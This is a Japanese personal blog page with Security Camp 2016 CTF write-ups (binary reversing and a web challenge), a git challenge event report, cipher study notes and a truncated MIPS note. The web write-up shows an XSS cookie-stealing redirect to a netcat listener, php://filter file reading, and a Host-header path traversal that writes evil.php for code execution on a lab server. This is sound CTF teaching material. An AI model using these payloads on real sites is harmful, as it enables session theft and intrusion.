ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

セキュキャンCTF equations, hidden のWriteup

katc.hateblo.jp

昨日に引き続き、セキュリティキャンプ全国大会2016で開催されたCTFの話題です。 当日手を付けて、解けなかった問題2つ equations と hidden をピックアップしてWriteupを書きます。

equations

i386バイナリのようなので逆コンパイラ(貧乏人用)に突っ込みます。 こんな結果を得られました。
# 自分が当日になぜこの作業をしなかったのか謎い…

// Address range: 0x804847d - 0x8048547
int main(int argc, char ** argv) {
    int32_t v1 = (int32_t)argv; // 0x80484ab_0
    if (argc <= 3) {
        // 0x804848c
        printf("Usage %s <a> <b> <c>\n", (char *)*(int32_t *)argv);
        // branch -> 0x8048546
        // 0x8048546
        return -1;
    }
    int32_t str_as_i = atoi((char *)*(int32_t *)(v1 + 4)); // 0x80484b6
    int32_t str_as_i2 = atoi((char *)*(int32_t *)(v1 + 8)); // 0x80484ca
    int32_t str_as_i3 = atoi((char *)*(int32_t *)(v1 + 12)); // 0x80484de
    if (check(str_as_i, str_as_i2, str_as_i3) == 0) {
        // 0x8048535
        puts("Wrong key...");
        // branch -> 0x8048546
    } else {
        // 0x8048507
        printf("Congratz! flag is FLAG{%d}\n", calc_flag(str_as_i, str_as_i2, str_as_i3));
        // branch -> 0x8048546
    }
    // 0x8048546
    return 0;
}

// Address range: 0x8048548 - 0x80485c4
int32_t check(int32_t a1, int32_t a2, int32_t a3) {
    int32_t result = 0; // 0x80485c4_2
    if (5 * a2 + 3 * a1 == -4 * a3) {
        // 0x8048575
        if (2 * (2 * a2 + a1) == -5 * a3) {
            // 0x804859a
            result = -8 * a3 == a2 - a1;
            // branch -> 0x80485c3
        } else {
            result = 0;
        }
    }
    // 0x80485c3
    return result;
}

コードを見ると3元1次方程式の存在を確認できます。

考えるのも無駄なので Mathematica(貧乏人用) に突っ込んで終わりです。
# 3つ目の式は無くても解が変わらないというね…

Solve[{3x + 5y + 4z = 0, 2x + 4y + 5z = 0, x - y - 8z = 0}, {x,y,z}]

y = -\frac{7}{9} x, z = \frac{2}{9} x

で、解が不定になってしまいましたが、xを特定の値に縛ることをバイナリがしてないのでフラグが1つに定まりません。 ここで終わりにします。

hidden

バイナリが64ビットで、貧乏人用デコンパイラが使えないので、objdumpとテキストエディタで頑張りました。 といっても長くないので検討をつけやすいです。

見るべき箇所は main での genflag の呼び出しと、 genflag の中身です。 何をしているのかは下のpythonスクリプトを見て感じ取ってください。

0000000000400ee0 <main>:
  400ee0:   55                      push   rbp
  400ee1:   48 89 e5                mov    rbp,rsp
  400ee4:   48 81 ec 20 02 00 00    sub    rsp,0x220
  400eeb:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400ef2:   00 00 
  400ef4:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  400ef8:   31 c0                   xor    eax,eax
  400efa:   48 c7 85 e0 fd ff ff    mov    QWORD PTR [rbp-0x220],0x401111 # "flag : %s"
  400f01:   11 11 40 00 
  400f05:   48 c7 85 e8 fd ff ff    mov    QWORD PTR [rbp-0x218],0x40111c # "You cannot get flag! Hahaha\n"
  400f0c:   1c 11 40 00 
  400f10:   bf 39 11 40 00          mov    edi,0x401139                   # "== HiddenFlag ==\n"
  400f15:   e8 46 fa ff ff          call   400960 <puts@plt>              # puts("== HiddenFlag ==\n")
  400f1a:   48 8d 85 f0 fd ff ff    lea    rax,[rbp-0x210]
  400f21:   be 00 02 00 00          mov    esi,0x200                      # 0x200
  400f26:   48 89 c7                mov    rdi,rax                        # [rbp-0x8]
  400f29:   b8 00 00 00 00          mov    eax,0x0                        # retval
  400f2e:   e8 34 00 00 00          call   400f67 <genflag>               # genflag([rbp-0x8], 0x200)
  400f33:   48 8b 85 e0 fd ff ff    mov    rax,QWORD PTR [rbp-0x220]      # "flag : %s"
  400f3a:   48 8d 95 f0 fd ff ff    lea    rdx,[rbp-0x210]                # = flag
  400f41:   48 89 d6                mov    rsi,rdx                        # [rbp-0x210]
  400f44:   48 89 c7                mov    rdi,rax                        # arg0
  400f47:   b8 00 00 00 00          mov    eax,0x0                        # retval
  400f4c:   e8 df f9 ff ff          call   400930 <printf@plt>            # printf("flag : %s", [rbp-0x210])
                                                                      # => printf("You cannot get flag! Hahaha\n")
  400f51:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
  400f55:   64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28          # check stack canary
  400f5c:   00 00 
  400f5e:   74 05                   je     400f65 <main+0x85>
#---------------------------------------------------------------------
  400f60:   e8 6b fa ff ff          call   4009d0 <__stack_chk_fail@plt>
  400f65:   c9                      leave  
  400f66:   c3                      ret  
from ctypes import CDLL
libc = CDLL('libc.so.6')

arr = [
    0x21, 0x8a, 0x28, 0x34, 0x2a, 0xca, 
    0x7b, 0x81, 0x59, 0xa1, 0x89, 0xf4, 
    0x91, 0xca, 0x93, 0x2e, 0x4f, 0xb0, 
    0xb, 0xf8, 0x0, 0x0, 0x0, 0x0
    ]

arr2 = [
    0x10, 0xf7, 0x5e, 0x1b, 0xe, 0xca, 
    0x7d, 0x9e, 0x1d, 0xa3, 0xdd, 0x98, 
    0xad, 0x96, 0xd0, 0x25, 0x14, 0xf6, 
    0x3a, 0xc9, 0x2e, 0x85, 0x9a, 0x8d
    ]

libc.srand(0)
for i in range(0x18):
    arr[i] ^= (0xff & libc.rand())

libc.srand(0)
for i in range(0x18):
    arr2[i] ^= (0xff & libc.rand())

flag  = ''.join(map(lambda x: chr(x), arr)) 
flag += ''.join(map(lambda x: chr(x), arr2))
print(flag)

"""
[katc@K_atc seccamp-2016]$ python hidden.py 
FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m}
"""

"""
0000000000400f67 <genflag>:
  400f67:   55                      push   rbp
  400f68:   48 89 e5                mov    rbp,rsp
  400f6b:   41 54                   push   r12
  400f6d:   53                      push   rbx
  400f6e:   48 83 ec 40             sub    rsp,0x40
  400f72:   48 89 7d b8             mov    QWORD PTR [rbp-0x48],rdi       # [rbp-0x48] := [rbp-0x8]
  400f76:   89 75 b4                mov    DWORD PTR [rbp-0x4c],esi       # [rbp-0x4c] := 0x200
  400f79:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  400f80:   00 00 
  400f82:   48 89 45 e8             mov    QWORD PTR [rbp-0x18],rax
  400f86:   31 c0                   xor    eax,eax
  400f88:   c6 45 d0 21             mov    BYTE PTR [rbp-0x30],0x21       # arr[0]
  400f8c:   c6 45 d1 8a             mov    BYTE PTR [rbp-0x2f],0x8a       # arr[1]
  400f90:   c6 45 d2 28             mov    BYTE PTR [rbp-0x2e],0x28       # ...
  400f94:   c6 45 d3 34             mov    BYTE PTR [rbp-0x2d],0x34
  400f98:   c6 45 d4 2a             mov    BYTE PTR [rbp-0x2c],0x2a
  400f9c:   c6 45 d5 ca             mov    BYTE PTR [rbp-0x2b],0xca
  400fa0:   c6 45 d6 7b             mov    BYTE PTR [rbp-0x2a],0x7b
  400fa4:   c6 45 d7 81             mov    BYTE PTR [rbp-0x29],0x81
  400fa8:   c6 45 d8 59             mov    BYTE PTR [rbp-0x28],0x59
  400fac:   c6 45 d9 a1             mov    BYTE PTR [rbp-0x27],0xa1
  400fb0:   c6 45 da 89             mov    BYTE PTR [rbp-0x26],0x89
  400fb4:   c6 45 db f4             mov    BYTE PTR [rbp-0x25],0xf4
  400fb8:   c6 45 dc 91             mov    BYTE PTR [rbp-0x24],0x91
  400fbc:   c6 45 dd ca             mov    BYTE PTR [rbp-0x23],0xca
  400fc0:   c6 45 de 93             mov    BYTE PTR [rbp-0x22],0x93
  400fc4:   c6 45 df 2e             mov    BYTE PTR [rbp-0x21],0x2e
  400fc8:   c6 45 e0 4f             mov    BYTE PTR [rbp-0x20],0x4f
  400fcc:   c6 45 e1 b0             mov    BYTE PTR [rbp-0x1f],0xb0
  400fd0:   c6 45 e2 0b             mov    BYTE PTR [rbp-0x1e],0xb
  400fd4:   c6 45 e3 f8             mov    BYTE PTR [rbp-0x1d],0xf8
  400fd8:   c6 45 e4 00             mov    BYTE PTR [rbp-0x1c],0x0
  400fdc:   c6 45 e5 00             mov    BYTE PTR [rbp-0x1b],0x0
  400fe0:   c6 45 e6 00             mov    BYTE PTR [rbp-0x1a],0x0
  400fe4:   c6 45 e7 00             mov    BYTE PTR [rbp-0x19],0x0        # arr[0x17]
  400fe8:   8b 45 b4                mov    eax,DWORD PTR [rbp-0x4c]
  400feb:   83 f8 18                cmp    eax,0x18
  400fee:   76 07                   jbe    400ff7 <genflag+0x90>
#---------------------------------------------------------------------
  400ff0: c7 45 b4 18 00 00 00  mov    DWORD PTR [rbp-0x4c],0x18      # [rbp-0x4c] := 0x18
#---------------------------------------------------------------------
  400ff7: bf 00 00 00 00        mov    edi,0x0                        # 0
  400ffc: e8 ef f9 ff ff        call   4009f0 <srand@plt>             # srand(0)
  401001: c7 45 cc 00 00 00 00  mov    DWORD PTR [rbp-0x34],0x0       # [rbp-0x34] = 0 
                                                                      # i := [rbp-0x34]
  401008: eb 27                 jmp    401031 <genflag+0xca>
#=====================================================================
  40100a: 8b 45 cc              mov    eax,DWORD PTR [rbp-0x34]       # arr[i] = [rbp-0x34] 
  40100d: 48 63 d0              movsxd rdx,eax
  401010: 48 8b 45 b8           mov    rax,QWORD PTR [rbp-0x48]
  401014: 48 8d 1c 02           lea    rbx,[rdx+rax*1]                # rbx := [i + [rbp-0x48]]
  401018: 8b 45 cc              mov    eax,DWORD PTR [rbp-0x34]
  40101b: 48 98                 cdqe   
  40101d: 44 0f b6 64 05 d0     movzx  r12d,BYTE PTR [rbp-0x30+rax*1] # r12d := arr[i]
  401023: e8 f8 f9 ff ff        call   400a20 <rand@plt>              # rand()
  401028: 44 31 e0              xor    eax,r12d                       # arr[i] ^= char(rand())
  40102b: 88 03                 mov    BYTE PTR [rbx],al      
  40102d: 83 45 cc 01           add    DWORD PTR [rbp-0x34],0x1       # [rbp-0x34] += 1 (i++)
#---------------------------------------------------------------------
  401031: 8b 45 cc              mov    eax,DWORD PTR [rbp-0x34]
  401034: 3b 45 b4              cmp    eax,DWORD PTR [rbp-0x4c]
  401037: 7c d1                 jl     40100a <genflag+0xa3>          # [rbp-0x34] < 0x18
#---------------------------------------------------------------------
"""

"""
[katc@K_atc seccamp-2016]$ gdb -q hidden
gdb-peda$ b printf
gdb-peda$ r
gdb-peda$ disas genflag
Dump of assembler code for function genflag:
   0x0000000000400f67 <+0>:     push   rbp
   0x0000000000400f68 <+1>:     mov    rbp,rsp
   0x0000000000400f6b <+4>:     push   r12
   0x0000000000400f6d <+6>:     push   rbx
   0x0000000000400f6e <+7>:     sub    rsp,0x40
   0x0000000000400f72 <+11>:    mov    QWORD PTR [rbp-0x48],rdi       # [rbp-0x48] := [rbp-0x8]
   0x0000000000400f76 <+15>:    mov    DWORD PTR [rbp-0x4c],esi
   0x0000000000400f79 <+18>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400f82 <+27>:    mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400f86 <+31>:    xor    eax,eax
   0x0000000000400f88 <+33>:    mov    BYTE PTR [rbp-0x30],0x10
   0x0000000000400f8c <+37>:    mov    BYTE PTR [rbp-0x2f],0xf7
   0x0000000000400f90 <+41>:    mov    BYTE PTR [rbp-0x2e],0x5e
   0x0000000000400f94 <+45>:    mov    BYTE PTR [rbp-0x2d],0x1b
   0x0000000000400f98 <+49>:    mov    BYTE PTR [rbp-0x2c],0xe
   0x0000000000400f9c <+53>:    mov    BYTE PTR [rbp-0x2b],0xca
   0x0000000000400fa0 <+57>:    mov    BYTE PTR [rbp-0x2a],0x7d
   0x0000000000400fa4 <+61>:    mov    BYTE PTR [rbp-0x29],0x9e
   0x0000000000400fa8 <+65>:    mov    BYTE PTR [rbp-0x28],0x1d
   0x0000000000400fac <+69>:    mov    BYTE PTR [rbp-0x27],0xa3
   0x0000000000400fb0 <+73>:    mov    BYTE PTR [rbp-0x26],0xdd
   0x0000000000400fb4 <+77>:    mov    BYTE PTR [rbp-0x25],0x98
   0x0000000000400fb8 <+81>:    mov    BYTE PTR [rbp-0x24],0xad
   0x0000000000400fbc <+85>:    mov    BYTE PTR [rbp-0x23],0x96
   0x0000000000400fc0 <+89>:    mov    BYTE PTR [rbp-0x22],0xd0
   0x0000000000400fc4 <+93>:    mov    BYTE PTR [rbp-0x21],0x25
   0x0000000000400fc8 <+97>:    mov    BYTE PTR [rbp-0x20],0x14
   0x0000000000400fcc <+101>:   mov    BYTE PTR [rbp-0x1f],0xf6
   0x0000000000400fd0 <+105>:   mov    BYTE PTR [rbp-0x1e],0x3a
   0x0000000000400fd4 <+109>:   mov    BYTE PTR [rbp-0x1d],0xc9
   0x0000000000400fd8 <+113>:   mov    BYTE PTR [rbp-0x1c],0x2e
   0x0000000000400fdc <+117>:   mov    BYTE PTR [rbp-0x1b],0x85
   0x0000000000400fe0 <+121>:   mov    BYTE PTR [rbp-0x1a],0x9a
   0x0000000000400fe4 <+125>:   mov    BYTE PTR [rbp-0x19],0x8d
   0x0000000000400fe8 <+129>:   mov    eax,DWORD PTR [rbp-0x4c]
   0x0000000000400feb <+132>:   cmp    eax,0x18
   0x0000000000400fee <+135>:   jbe    0x400ff7 <genflag+144>
#---------------------------------------------------------------------
   0x0000000000400ff0 <+137>:   mov    DWORD PTR [rbp-0x4c],0x18
   0x0000000000400ff7 <+144>:   mov    edi,0x0                        # 0
   0x0000000000400ffc <+149>:   call   0x4009f0 <srand@plt>           # srand(0)
   0x0000000000401001 <+154>:   mov    DWORD PTR [rbp-0x34],0x0       # i = 0
   0x0000000000401008 <+161>:   jmp    0x401031 <genflag+202>
#=====================================================================
   0x000000000040100a <+163>:   mov    eax,DWORD PTR [rbp-0x34]
   0x000000000040100d <+166>:   movsxd rdx,eax
   0x0000000000401010 <+169>:   mov    rax,QWORD PTR [rbp-0x48]       # rax := ?
   0x0000000000401014 <+173>:   lea    rbx,[rdx+rax*1]
   0x0000000000401018 <+177>:   mov    eax,DWORD PTR [rbp-0x34]
   0x000000000040101b <+180>:   cdqe   
   0x000000000040101d <+182>:   movzx  r12d,BYTE PTR [rbp+rax*1-0x30]
   0x0000000000401023 <+188>:   call   0x400a20 <rand@plt>
   0x0000000000401028 <+193>:   xor    eax,r12d                       
   0x000000000040102b <+196>:   mov    BYTE PTR [rbx],al
   0x000000000040102d <+198>:   add    DWORD PTR [rbp-0x34],0x1       # i++
#---------------------------------------------------------------------
   0x0000000000401031 <+202>:   mov    eax,DWORD PTR [rbp-0x34]
   0x0000000000401034 <+205>:   cmp    eax,DWORD PTR [rbp-0x4c]
   0x0000000000401037 <+208>:   jl     0x40100a <genflag+163>
#---------------------------------------------------------------------
"""

ブレークポイントが打てないし、printfの出力がobjdumpと食い違っていたのですが、何らかの仕組みが働いてコードが書き換わるようです。 フラグが前後半に分かれて出現します。前半は実行前のコード、後半はprintf呼び出し時に見ることができます。 てなわけで、

flag: FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m}


明日、また会社かよ…

(報告)Docker版の方はARMのrev問が動くようになりましたー

セキュキャンCTF Web問のWriteup

セキュリティキャンプ全国大会2016でチーム対抗のCTFが開催されましたね。
チューターチーム「友利奈緒とゆかいな仲間たち」の友利奈緒です。
当日はネットワークトラブルのせいで解く時間が全然なかったのですが、そのときに難易度が低いと噂のWebを1つも解けなかったので今日解き直しました。
以下Writeupです。

ipアドレスを192.168.39.39としてサーバーを動かしています。

FLAG_1

http://192.168.39.39/ につなぐとこんな画面が出てきます。 FLAG_1は非公開になっており、adminが見れるページのようですね。

f:id:katc:20160827204553p:plain

仕方がないのでtest postを開きます。 コメントができますね。

この問題は50点ぐらいに見えるのでここにXSSがあって、adminのcookieを抜き取るのでしょう。 CTFではよくあるパターンですね。 いろいろ準備するのはだるいので、192.168.39.39にsshログインして、netcatで待ち構えてcookieを覗きましょう。

<script>location.href="http://192.168.39.39:8080/"</script>
pi@d55f1549b655:~ $ nc -l -p 8080
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://192.168.39.39/comments/check.php?id=1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Cookie: PHPSESSID=a7vejaoqteu1o8l3gojgl10lo1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: 192.168.39.39:8080

cookieを取れたのでブラウザでこの値を入れてからFLAG_1のページを見ます。やるだけですな。(なんであの場ではうまくいかなかったのか…)

f:id:katc:20160827210017p:plain

flag: FLAG{c0NgRaTz_y0u'v3_H4cK3d_4dM1N_4Cc0UnT}

flag3.txt

ヒントには /var/www/flag3.txt にフラグがあると言っているので、adminになりつつ投稿画面を見に行きます。
(Admin Panelの存在はindex.phpのコメントを見るか、robots.txtで示唆されているので見落とさないようにしましょう)

f:id:katc:20160827210353p:plain

Import from URL でローカルファイルを読み込むんだろうなという検討は立ちます。 fileは弾かれるのでfiLeとかで大文字を入れればWAFみたいのを回避できます。
(というのを当日に聞いていたのでここでは別解を書きます。)

ソースを見ると(以下の方法と同様にして入手できるはずです)、file_get_contentsでリモートorローカルのリソースを読み込む仕組みになっています。 この関数は php://filter/ でおなじみのフィルタが利用できるのでそれで読み込むことも可能です。 つまり、URLとして php://filter/resource=/var/www/flag3.txt を指定します。 できたページを見て終わりです。

f:id:katc:20160827211217p:plain

flag: FLAG{3xpLo1TInG_S3rV3r-S1D3_r3Qu3St_f0RG3rY}

flag4.txt

いよいよ最後の問題です。
(自分にはここからが長かった…ctf4b運営のもりたこ先生にヒントを乞うて、利用する脆弱性のヒントをもらったぞい)

ファイル名が分からない状態ではフィルタが使えないっぽいので、ファイルに書き込んでくれる系を脆弱性として使うのでしょう。 もりたこヒントによると、post/import.phpディレクトリトラバーサル脆弱性があり、リモートで任意コード実行(RCE)可能らしいです。

ということで、デバッグ出力している次の箇所に目を付けました。

function parseHeaders($headers) {
  $head = array();
  foreach($headers as $k=>$v) {
    $t = explode( ':', $v, 2 );
    if (isset($t[1]))
      $head[ trim($t[0]) ] = trim( $t[1] );
    else {
      $head[] = $v;
      if (preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ))
        $head['reponse_code'] = intval($out[1]);
    }
  }
  return $head;
}

//
$data = file_get_contents($url);

$headers = parseHeaders($http_response_header);
if (isset($headers['Host'])) {
  $host = $headers['Host'];
}
else {
  $host = parse_url($url, PHP_URL_HOST);
}

$title = "Imported data from $host";
addPost($title, $data, (int)(empty($_POST['secret'])));
$_SESSION['create_ok'] = true;

// DEBUG
$debug_log  = "url: $url\n";
$debug_log .= "status: success\n";
$debug_log .= "content: $data\n";

file_put_contents(sprintf('/tmp/mars_debug_log_%d_%s', time(), $host), $debug_log);

sprintf でファイル名を作っていますが、%sディレクトリトラバーサル自明ですね。 %s$host で変えられるようです。後で確認します。 書き込み内容は $debug_log で決まり、$data に僕のコードを仕込めば実行してくれそうです。

さて $host は何に由来するのかというと、少し上の $headers['Host'] で、 parseHeaders でHTTPレスポンスヘッダにあったHostフィールド(公式仕様には無いやつですね…。気づくヒントだったのかな…?)の値が $host に来るみたいです。

netcatで簡単なHTTPサーバーでも立てておきますかね。 ということで、netcatで応答すべき内容はこんな感じになります。 phpタグに囲まれていないところにゴミが入っていても問題ありません。phpの性質をよく利用した賢い問題っすね。

HTTP/1.1 200 OK
Host: /../../var/www/html/evil.php
Content-Length: 50

<?php
print_r(scandir('/var/www/flag4'));
?>

# nc -l -p 8080 < http_response

あとはnetcatで待ち受けて、リクエストが来てこちらが応答したら Ctrl+C でCloseしちゃいます(笑)
# もっといい方法ないすかねー?

投稿画面ではURLに http://192.168.39.39:8080/ を指定しました。

pi@d55f1549b655:~ $ nc -l -p 8080 < http_response
GET / HTTP/1.0
Host: 192.168.39.39:8080
Connection: close

^C

f:id:katc:20160827213143p:plain

f:id:katc:20160827213242p:plain

ファイル名が分かったので、先の問題と同様にして中身を暴露します。

f:id:katc:20160827213408p:plain

flag: FLAG{W0w_u_pwn3d_Mars!}


難易度設定はキャンプのCTFにはいい感じですね。

手元にRasPiが無いのでCTF運営公式のイメージファイルから必要なファイルを取り出して、適当にDockerizeしました。
さっき運営の一人のもりたこちゃんに披露したので、そのうち公開されるかもしれません。

git challenge 参加したよーヾノ*>ㅅ<)ノシ(2016/8/21)

禁則事項☆を犯さないようにぼかし気味で書きますよ)

※写真はmixiの方が撮影したものです

概要

2016年8月21日(日)に、mixiグループ主催の1dayイベント「git challenge」にtomoriで参加しました(アッ

会場にはエンジニアと人事(!)の方、参加者16名のみなさんがいらしゃいました。

# 会場(=mixiの本社)があるビルはコンサートホールのようなシックな内装です。
# 1つクソな点を挙げるとしたら、エレベータのボタンがどこにあるのかわかりにくいところです(写真なし)。

11時開始、19時終了のイベントです。競技時間は3時間くらいだったと思います。

午前の部

お昼の前にチュートリアルがありました。

github.com

の内容そのままでした。 あとは自動ジャッジシステムとしてCircleCIが採用されていて、それの利用登録もしました。 CircleCIは初めてでしたが、hookの設定やビルドターゲットの設定は簡単に行えました。 (設定ファイルの書き換えが面倒くさそうですね。) CircleCIのコンテナにsshすると、チェッカースクリプト含めて何でも見れてしまうらしく、ssh接続即失格のルールまでありました。

おひる!

8/21はハワイ州爆誕的な日なやつらしく、その関係でハワイ特集でした。

f:id:katc:20160823002200j:plain

ガーリックなんちゃらのお弁当を取りましたが、油っこかったです…(美味しいんですけどね)。 大盛りも選べるようになってて、僕はそれを食べられたので満足です。

お昼ご飯は各チームが自分の席で座って食べました。 チューターさんも同席されてて、次のようなお話をしました。

  • mixiのサービスで、glibc mallocでなく、googlemallocの実装(TCMalloc)を採用して性能比較してみた件
  • 僕(@K_atc)がrubyでなくpythonにこだわる理由(pythonのライブラリの品揃えの観点でお話したんだけど、伝わったのかな…)
  • 技術的な困難さで古いperlで書かれたサービスを使い続ける場合と、既存アプリケーションを別の言語・上位バージョンで書き直す場合のコスト面での比較
  • JSフレームワークmixiはReact+AngularJS 2厨?)とテストフレームワーク

僕はReactをちらっとしか見てないですが、チューターさんいわく、変にTypeScriptとかで書くのでなく、おとなしくJSXで書いたほうが何かと楽らしいっす。

# 専門外の話を振り気味でスミマセンでしたヾ(。>﹏<。)ノ゙

競技前の準備

各チームのgithub organization?に問題のprivate repoのinviteを受け取って、そのリポジトリをCircleCIに追加する作業をしました。 全リポジトリ(全18個=全18問)を手動で追加する簡単な作業です(白目)

競技!(約3時間)

問題は全18問でレベル1からレベル6までありました。 レベルの値(星の数)=点数です。 僕はレベル1を1つ、レベル2を3つ解いて終了しました😇

問題を解いていて困ったことがあればチューターさんにいろいろ尋ねることができます。 僕も結構助けていただけました〜><(ありがとうございます!) 知見などは次の節にまとめて書きます。

force pushなどでリモートリポジトリをぶっ壊してリセットしたい場合は、前のボタン(赤緑の2つあるがどちらを押してもいいとのこと)を押してhuman workerを起動し、チーム名とリセット対象リポジトリを引数にしてイベントを発火します。しばらくするとリセットされます。 問題なのはボタンを押すとピポーンとデカイ音が鳴ることです。

おやつ(リラックマ化)

ハワイ特集なのでマラサダというドーナッツとジュースが振る舞われました。

f:id:katc:20160823002226j:plain

競技終了&解説会

CTFと違って、Writeup禁止(※お察しの通り問題は使い回し)なのでぼかして知見をまとめます。

  • gitの便利なサブコマンドたちを活用しよう
    • show : チェックアウトなしでいろいろなブランチ/コミットのファイルを見れたり、コミット内容を見れたりする
    • reflog : 操作履歴と、その操作の取り消し
    • bisect : 問題のあるコミットを二分探索できる
    • log : オプションいっぱい。grep正規表現にクセがあるので要注意
  • リモートがローカルよりも先に進んでいる&手元のブランチをmasterにマージする必要があるときはpull/mergeの順番に注意
  • .gitの中身にもそろそろ詳しくなろう
  • レベル2に3つ以上のサービス問題がある(知っていれば瞬殺可能←その問題はノーチェックだったのでつらい…)
  • SourceTreeゴリ押しで一位になれる

一人の絶大な貢献で上位に入れる傾向がありました(1チーム2人でした)。 次参加される方は、自分の力でチームを勝利に導ける程度の筋肉をつけておきたいところですね。

結果発表

うちのBチームは中位でした。はい😇

1位〜3位までが表彰されました。 商品は Octocat 大or小 でした。 1位は例によってメダル授与です(イイナー)。 表彰された方については、当人がブログやツイッターで自慢しているかと思いますので敢えて書きません。

懇親会(タダ飯!)

油!油!(えらくクオリティ高かったです)

[写真なし]

余りを翌日の朝食として持ち帰ることができました(ありがたや〜)。

今日だけで2回、なんで(友利奈緒)着てないのと言われてしまいました><
次のときは着ますよ?いいんですね?

今回で3回目の開催だそうです。 それにしてもジャッジシステムも落ちずに稼働してましたし、安定した運営でした。すごい💪

某インフラエンジニアさんを参加者数名で囲って伺った話(とても興味深い内容でした):

  • その方の仕事内容
  • ラックサーバーの入れ替えはいい運動になる
  • アプリケーション・データベースサーバーの配置と構成
  • AWSは○
  • 外注するときの話
  • チート対策

総括

mixiの皆様、貴重な機会をありがとうございました。
商業的な匂いやリクルーティングの匂いを最小限に抑えられていて良かったと思います(=勉強会に近い雰囲気)。
ただ、名札に大学名・高専名を書く意味って全然ないよなー思いました(そういう思想の会社なのかなと思われても仕方ないですね)。
# 個人の技能とその大学が授業・講義としてやったことはほぼ無関係ですよね…

僕のgit力はまだまだだなぁと思いました。サブコマンドで便利そうなのが結構ありそうなので覚えていこうと思いました。
# そろそろCTF対策で.gitの中身を熟知したほうがいいかもしれない

CTFでもそうですが(最近は改善傾向)、僕がサービス問題を見落としがちなのは本当に良くないなぁという感想です😇

『暗号理論入門』(丸善出版)勉強メモ 4.8.1 ECBモード

大学の本屋で15%OFFのセールがあった日に『暗号理論入門』(丸善出版)を買いました。\高い/

暗号理論入門 原書第3版

暗号理論入門 原書第3版

以下は 4.6節の「ブロック暗号」と、4.8節の「ブロック暗号のモード」のうち4.8.1節「ECBモード」の勉強メモです。 といってもすんなり理解できなかった所に自分の説明を追加しただけです。

準備

定義 4.6.1 ブロック暗号とは、平文空間と暗号文空間が {\Sigma}^n である暗号方式であるとする。ここで、 {\Sigma}^n はアルファベット {\Sigma} 上の長さ n の全ての語の集合である。ブロック長 n自然数である。

定理 4.6.2 ブロック暗号の暗号化関数は置換である。

証明省略

最も一般的なブロック暗号を以下のように説明することができる。ブロック長 n と一つのアルファベット \Sigma を固定するとする。平文空間と暗号文空間は  \mathcal{P} = \mathcal{C} = {\Sigma}^n とする。 鍵空間は、 {\Sigma}^n 上のすべての置換の集合 S({\Sigma}^n) とする。一つの鍵 \pi \in S({\Sigma}^n) に暗号化関数

 E_{\pi}: {\Sigma}^n \rightarrow {\Sigma}^n, \quad \vec{v} \mapsto \pi(\vec{v})

が対応する。これに対する復号化関数は

 D_{\pi}: {\Sigma}^n \rightarrow {\Sigma}^n, \quad \vec{v} \mapsto {\pi}^{-1}(\vec{v})

である。

この本では次の置換暗号を取り上げていました。

置換暗号を考えてみると、この暗号では記号の位置の変換により成立する置換のみを使う。 \Sigma = \{0, 1\} であれば、この置換はビット置換である。 鍵空間は置換群 S_n である。 \pi \in S_n に対して、

 E_{\pi}: {\Sigma}^n \rightarrow {\Sigma}^n, \quad (v_1, \ldots, v_n) \mapsto (v_{\pi(1)}, \ldots, v_{\pi(n)})

とおけば、それに対する復号化関数は

 D_{\pi}: {\Sigma}^n \rightarrow {\Sigma}^n, \quad (x_1, \ldots, x_n) \mapsto x_{{\pi}^{-1}\,(1)}, \ldots, x_{{\pi}^{-1} \,(n)}

であるので、鍵空間は  n! 個の元をもち、個々の鍵は  n 個の数の数列としてコード化できる。

ECBモードの例題

ここからが僕がハマった箇所です。

例 4.8.1 長さ  4 のビットベクトル上でビット置換を行うブロック暗号を考える。すなわち、アルファベット  \Sigma = \{0, 1\} とブロック長  4 の置換暗号を考える。ここでは  \mathcal{K} = S_4 であり、  \pi \in S_4 に対して

 \{0, 1\}^4 \rightarrow \{0, 1\}^4, \quad b_1 b_2 b_3 b_4 \mapsto b_{\pi (1)} b_{\pi (2)} b_{\pi (3)} b_{\pi (4)}

となる。 平文  m

 m = 101100010100101

とし、鍵を

$$ \pi = \begin{pmatrix} 1 & 2 & 3 & 4 \\ 2 & 3 & 4 & 1 \end{pmatrix} $$

とする。

ブロック長が4なので、この長さでmをブロックに分けます。

 m_1 = 1{\color{red}0}11, m_2 = 000{\color{red}1}, m_3 = 0100, m_4 = 1010

さて  m_1, m_2, m_3, m_4 を10進変換するとそれぞれ  11, 1, 4, 10 なのですが、  \pi で置換できなそうですね。 …と考えるのはダメで、問題文をよく読まないといけません。(僕は問題文をよく読まない人です。) 「置換暗号」と書いてありますね?しかも「ビット置換」をするとあります。 準備で説明したことを思い出すと、 \pi の見方は、 各 n 番目の数をそれぞれ  \pi(n) 番目に持っていくということです。 下位ビットから  1, \ldots, n 番目という割り当てです。 例えば  m_1 の3番め(0)と  m_2の1番目(1)はそれぞれ4番めと2番めに移動します。 よって、各ブロックの暗号化の結果は、

 c_1 = E_{\pi}(m_1) = {\color{red}0}111, c_2 = E_{\pi}(m_2) = 00{\color{red}1}0, c_3 = E_{\pi}(m_3) = 1000, c_4 = E_{\pi}(m_4) = 0101

で、暗号文は

 c = {\color{blue}{0111}}0010{\color{blue}{1000}}0101

になります。


はてなブログの数式モードクソすぎだね。 そういえば4.10節の「アフィン暗号」を読んでいるときに network & crypto なCTFの問題を思いつきました。

kozosのcross-gcc4でmipsアセンブリをコンパイルし、gdbのsimで実行する

mips書くのは久しぶりでいろいろミスっているかもしれない)

動作環境

kozosのVMイメージのcross-gcc4が入った方

アセンブリ

C言語で書くとこんな感じのアセンブリを書く

#include <unistd.h>
int main(){
    write(1, "Hello World\n", 12); // stdout = 1
